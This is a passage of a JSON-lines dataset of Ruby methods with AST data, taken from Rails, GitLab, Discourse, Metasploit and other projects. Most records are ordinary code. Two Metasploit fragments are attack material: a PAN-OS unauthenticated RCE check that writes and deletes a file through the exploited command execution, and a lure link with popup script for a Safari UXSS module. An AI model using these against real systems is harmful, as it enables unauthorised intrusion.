}]}]},{\"type\":\"ivasgn\",\"children\":[\"@instance\",{\"type\":\"lvar\",\"children\":[\"klass\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@instance\"]},\"router=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Engine\"]},\"root_agent\"]},\"event_router\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@instance\"]},\"log=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TestLogger\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Engine\"]},\"root_agent\"]},\"instance_variable_set\",{\"type\":\"sym\",\"children\":[\"@log\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@instance\"]},\"log\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@config\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Config\"]},\"new\"]}]}]}]}","id":"e15de3db-ceb3-44a7-9e22-b714453fa557"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/formatter/disabled_config_formatter.rb","start_line":291,"raw_source":"def include_or_match?(arr, elm)\n arr.include?(elm) || arr.any? { |x| x.is_a?(Regexp) && x.match?(elm) }\n end","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"include_or_match?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arr\"]},{\"type\":\"arg\",\"children\":[\"elm\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arr\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"elm\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arr\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Regexp\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"match?\",{\"type\":\"lvar\",\"children\":[\"elm\"]}]}]}]}]}]}","id":"6e651931-1968-47b1-90e2-ea889ab847ac"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/admin/trends/links/preview_card_providers_controller.rb","start_line":38,"raw_source":"def action_from_button\n if params[:approve]\n 'approve'\n elsif params[:reject]\n 'reject'\n end\n end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"action_from_button\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"approve\"]}]},{\"type\":\"str\",\"children\":[\"approve\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"reject\"]}]},{\"type\":\"str\",\"children\":[\"reject\"]},null]}]}]}","id":"5da209c4-5ab6-4cf6-882d-c2f54931a4a5"} {"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/sidebar_section_serializer.rb","start_line":6,"raw_source":"def links\n object.sidebar_urls.map { |sidebar_url| SidebarUrlSerializer.new(sidebar_url, root: false) }\n end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"links\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"sidebar_urls\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sidebar_url\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SidebarUrlSerializer\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"sidebar_url\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"root\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"e6c219d1-c781-457e-bdb8-977118272427"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/panos_management_unauth_rce.rb","start_line":87,"raw_source":"def check\n check_file_name = Rex::Text.rand_text_alphanumeric(4)\n\n # NOTE: We set dontfail to true, as a check routine cannot fail_with().\n\n # return Safe if we fail to trigger the vulnerability and execute a command.\n return CheckCode::Safe unless execute_cmd(\n \"echo #{check_file_name} > /var/appweb/htdocs/unauth/#{check_file_name}\",\n dontfail: true\n )\n\n res = send_request_cgi(\n 'method' => 'GET',\n 'uri' => normalize_uri('unauth', check_file_name)\n )\n\n return CheckCode::Unknown('Connection failed') unless res\n\n if res.code == 200 && res.body.include?(check_file_name)\n\n # return Unknown if we fail to trigger the vulnerability a second time.\n return CheckCode::Unknown unless execute_cmd(\n \"rm -f /var/appweb/htdocs/unauth/#{check_file_name}\",\n dontfail: true\n )\n\n return Exploit::CheckCode::Vulnerable\n end\n\n CheckCode::Safe\n end","complexity_score":19.13,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"check_file_name\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute_cmd\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"echo \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"check_file_name\"]}]},{\"type\":\"str\",\"children\":[\" > /var/appweb/htdocs/unauth/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"check_file_name\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dontfail\"]},{\"type\":\"true\",\"children\":[]}]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"str\",\"children\":[\"unauth\"]},{\"type\":\"lvar\",\"children\":[\"check_file_name\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"Connection failed\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"check_file_name\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute_cmd\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"rm -f /var/appweb/htdocs/unauth/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"check_file_name\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dontfail\"]},{\"type\":\"true\",\"children\":[]}]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Vulnerable\"]}]}]},null]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]}","id":"243b604b-2a4e-4174-834a-1978387ddd1e"} {"repo_name":"openproject","file_path":"./repos/openproject/app/models/query/results.rb","start_line":126,"raw_source":"def include_columns\n columns = query.sort_criteria_columns.map { |column, _direction| column.association }\n\n if query.group_by_column\n columns << query.group_by_column.association\n end\n\n columns << all_filter_includes(query)\n\n clean_symbol_list(columns)\n end","complexity_score":20.1,"ast_json":"{\"type\":\"def\",\"children\":[\"include_columns\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"columns\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query\"]},\"sort_criteria_columns\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column\"]},{\"type\":\"arg\",\"children\":[\"_direction\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"association\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query\"]},\"group_by_column\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"columns\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query\"]},\"group_by_column\"]},\"association\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"columns\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"all_filter_includes\",{\"type\":\"send\",\"children\":[null,\"query\"]}]}]},{\"type\":\"send\",\"children\":[null,\"clean_symbol_list\",{\"type\":\"lvar\",\"children\":[\"columns\"]}]}]}]}","id":"3d510a8c-98d7-42c7-b07e-f33838e9311a"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/render_test.rb","start_line":871,"raw_source":"def test_head_respect_string_content_type\n get :head_ok_with_string_key_content_type\n assert_equal \"application/pdf\", @response.headers[\"Content-Type\"]\n end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_head_respect_string_content_type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"head_ok_with_string_key_content_type\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"application/pdf\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Content-Type\"]}]}]}]}]}","id":"ea00a212-5bf3-4b45-846d-4890a8a3a1ce"} {"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/wizard.rb","start_line":22,"raw_source":"def click_jump_in\n find(\".wizard-container__button.jump-in\").click\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"click_jump_in\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".wizard-container__button.jump-in\"]}]},\"click\"]}]}","id":"18651059-7f12-4124-bb36-c710c1a9c0e5"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/models/preloaders/group_policy_preloader_spec.rb","start_line":35,"raw_source":"def preload_groups_for_policy(current_user, group_list = base_groups)\n described_class.new(group_list, current_user).execute\n end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"preload_groups_for_policy\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"current_user\"]},{\"type\":\"optarg\",\"children\":[\"group_list\",{\"type\":\"send\",\"children\":[null,\"base_groups\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"group_list\"]},{\"type\":\"lvar\",\"children\":[\"current_user\"]}]},\"execute\"]}]}","id":"715c643c-d325-4df2-b70d-c1245d80a50d"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/ordered_options.rb","start_line":142,"raw_source":"def each(&block)\n to_h.each(&block)\n self\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"each\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to_h\"]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"9543f5f1-f7e0-4b61-99c2-3e451492d277"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250205094214_add_merge_requests_approval_rules_source_rule_fk.rb","start_line":12,"raw_source":"def down\n with_lock_retries do\n remove_foreign_key :merge_requests_approval_rules, column: :source_rule_id\n end\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key\",{\"type\":\"sym\",\"children\":[\"merge_requests_approval_rules\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"source_rule_id\"]}]}]}]}]}]}","id":"b5d18213-2a60-4079-bcde-566aa0300d68"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/merge_request/user_accepts_merge_request_spec.rb","start_line":165,"raw_source":"def click_merge_button\n page.within('.mr-state-widget') do\n click_button 'Merge'\n end\n end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"click_merge_button\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"within\",{\"type\":\"str\",\"children\":[\".mr-state-widget\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"click_button\",{\"type\":\"str\",\"children\":[\"Merge\"]}]}]}]}","id":"422c414a-7f1c-498f-aac6-0f25fcea8ec9"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb","start_line":97,"raw_source":"def message\n super + (datastore['INSTALL_EXTENSION'] ? \" <a href='javascript:void(0)'>Click here to continue.</a>\" + popup_js : '')\n end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"+\",{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"INSTALL_EXTENSION\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\" <a href='javascript:void(0)'>Click here to continue.</a>\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"popup_js\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}","id":"7704f76f-9de8-40f8-8ed4-269d30f021df"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/cache.rb","start_line":1037,"raw_source":"def expanded_key(key)\n return key.cache_key.to_s if key.respond_to?(:cache_key)\n\n case key\n when Array\n if key.size > 1\n key.collect { |element| expanded_key(element) }\n else\n expanded_key(key.first)\n end\n when Hash\n key.collect { |k, v| \"#{k}=#{v}\" }.sort!\n else\n key\n end.to_param\n end","complexity_score":26.4,"ast_json":"{\"type\":\"def\",\"children\":[\"expanded_key\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"cache_key\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"cache_key\"]},\"to_s\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"size\"]},\">\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"collect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"element\"]}]},{\"type\":\"send\",\"children\":[null,\"expanded_key\",{\"type\":\"lvar\",\"children\":[\"element\"]}]}]},{\"type\":\"send\",\"children\":[null,\"expanded_key\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"first\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"collect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]}]},{\"type\":\"str\",\"children\":[\"=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]}]}]}]},\"sort!\"]}]},{\"type\":\"lvar\",\"children\":[\"key\"]}]},\"to_param\"]}]}]}","id":"3da2a0d1-1fac-48c2-80f1-9ea15997ff9b"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/profiles/user_edit_profile_spec.rb","start_line":191,"raw_source":"def select_emoji(emoji_name)\n toggle_button = find('.emoji-menu-toggle-button')\n toggle_button.click\n emoji_button = find(\"gl-emoji[data-name=\\\"#{emoji_name}\\\"]\")\n emoji_button.click\n end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"select_emoji\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"emoji_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"toggle_button\",{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".emoji-menu-toggle-button\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"toggle_button\"]},\"click\"]},{\"type\":\"lvasgn\",\"children\":[\"emoji_button\",{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"gl-emoji[data-name=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"emoji_name\"]}]},{\"type\":\"str\",\"children\":[\"\\\"]\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"emoji_button\"]},\"click\"]}]}]}","id":"37ce4ec3-e96c-4034-a1e8-5330460d2777"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/email/handler/create_note_on_issuable_handler.rb","start_line":31,"raw_source":"def can_handle?\n incoming_email_token && project_id && issuable_iid\n end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"can_handle?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"incoming_email_token\"]},{\"type\":\"send\",\"children\":[null,\"project_id\"]}]},{\"type\":\"send\",\"children\":[null,\"issuable_iid\"]}]}]}","id":"1efebdb2-7594-40a8-9a5d-7f4b32f0d164"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/merge_requests_helper.rb","start_line":142,"raw_source":"def merge_request_source_project_for_project(project = @project)\n unless can?(current_user, :create_merge_request_in, project)\n return\n end\n\n if can?(current_user, :create_merge_request_from, project)\n project\n else\n current_user.fork_of(project)\n end\n end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"merge_request_source_project_for_project\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"project\",{\"type\":\"ivar\",\"children\":[\"@project\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"create_merge_request_in\"]},{\"type\":\"lvar\",\"children\":[\"project\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"create_merge_request_from\"]},{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"fork_of\",{\"type\":\"lvar\",\"children\":[\"project\"]}]}]}]}]}","id":"b87b1bcb-3dc1-4e36-87ad-24cff38174ef"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/js_locale_helper.rb","start_line":32,"raw_source":"def self.load_translations(locale)\n @loaded_translations ||= ActiveSupport::HashWithIndifferentAccess.new\n @loaded_translations[locale] ||= begin\n locale_str = locale.to_s\n\n # load default translations\n yml_file = \"#{Rails.root}/config/locales/client.#{locale_str}.yml\"\n if File.exist?(yml_file)\n translations = YAML.load_file(yml_file)\n else\n # If we can't find a base file in Discourse, it might only exist in a plugin\n # so let's start with a basic object we can merge into\n translations = { locale_str => { \"js\" => {}, \"admin_js\" => {}, \"wizard_js\" => {} } }\n end\n\n # merge translations (plugin translations overwrite default translations)\n if translations[locale_str] && plugin_translations(locale_str)\n translations[locale_str][\"js\"] ||= {}\n translations[locale_str][\"admin_js\"] ||= {}\n translations[locale_str][\"wizard_js\"] ||= {}\n\n if plugin_translations(locale_str)[\"js\"]\n translations[locale_str][\"js\"].deep_merge!(plugin_translations(locale_str)[\"js\"])\n end\n if plugin_translations(locale_str)[\"admin_js\"]\n translations[locale_str][\"admin_js\"].deep_merge!(\n plugin_translations(locale_str)[\"admin_js\"],\n )\n end\n if plugin_translations(locale_str)[\"wizard_js\"]\n translations[locale_str][\"wizard_js\"].deep_merge!(\n plugin_translations(locale_str)[\"wizard_js\"],\n )\n end\n end\n\n translations\n end\n end","complexity_score":57.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"load_translations\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"locale\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@loaded_translations\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"HashWithIndifferentAccess\"]},\"new\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@loaded_translations\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"locale\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"locale_str\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locale\"]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"yml_file\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]}]},{\"type\":\"str\",\"children\":[\"/config/locales/client.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locale_str\"]}]},{\"type\":\"str\",\"children\":[\".yml\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"yml_file\"]}]},{\"type\":\"lvasgn\",\"children\":[\"translations\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"load_file\",{\"type\":\"lvar\",\"children\":[\"yml_file\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"translations\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locale_str\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"js\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"admin_js\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"wizard_js\"]},{\"type\":\"hash\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"translations\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"locale_str\"]}]},{\"type\":\"send\",\"children\":[null,\"plugin_translations\",{\"type\":\"lvar\",\"children\":[\"locale_str\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"translations\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"locale_str\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"js\"]}]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"translations\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"locale_str\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"admin_js\"]}]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"translations\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"locale_str\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"wizard_js\"]}]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"plugin_translations\",{\"type\":\"lvar\",\"children\":[\"locale_str\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"js\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"translations\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"locale_str\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"js\"]}]},\"deep_merge!\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"plugin_translations\",{\"type\":\"lvar\",\"children\":[\"locale_str\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"js\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"plugin_translations\",{\"type\":\"lvar\",\"children\":[\"locale_str\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"admin_js\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"translations\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"locale_str\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"admin_js\"]}]},\"deep_merge!\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"plugin_translations\",{\"type\":\"lvar\",\"children\":[\"locale_str\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"admin_js\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"plugin_translations\",{\"type\":\"lvar\",\"children\":[\"locale_str\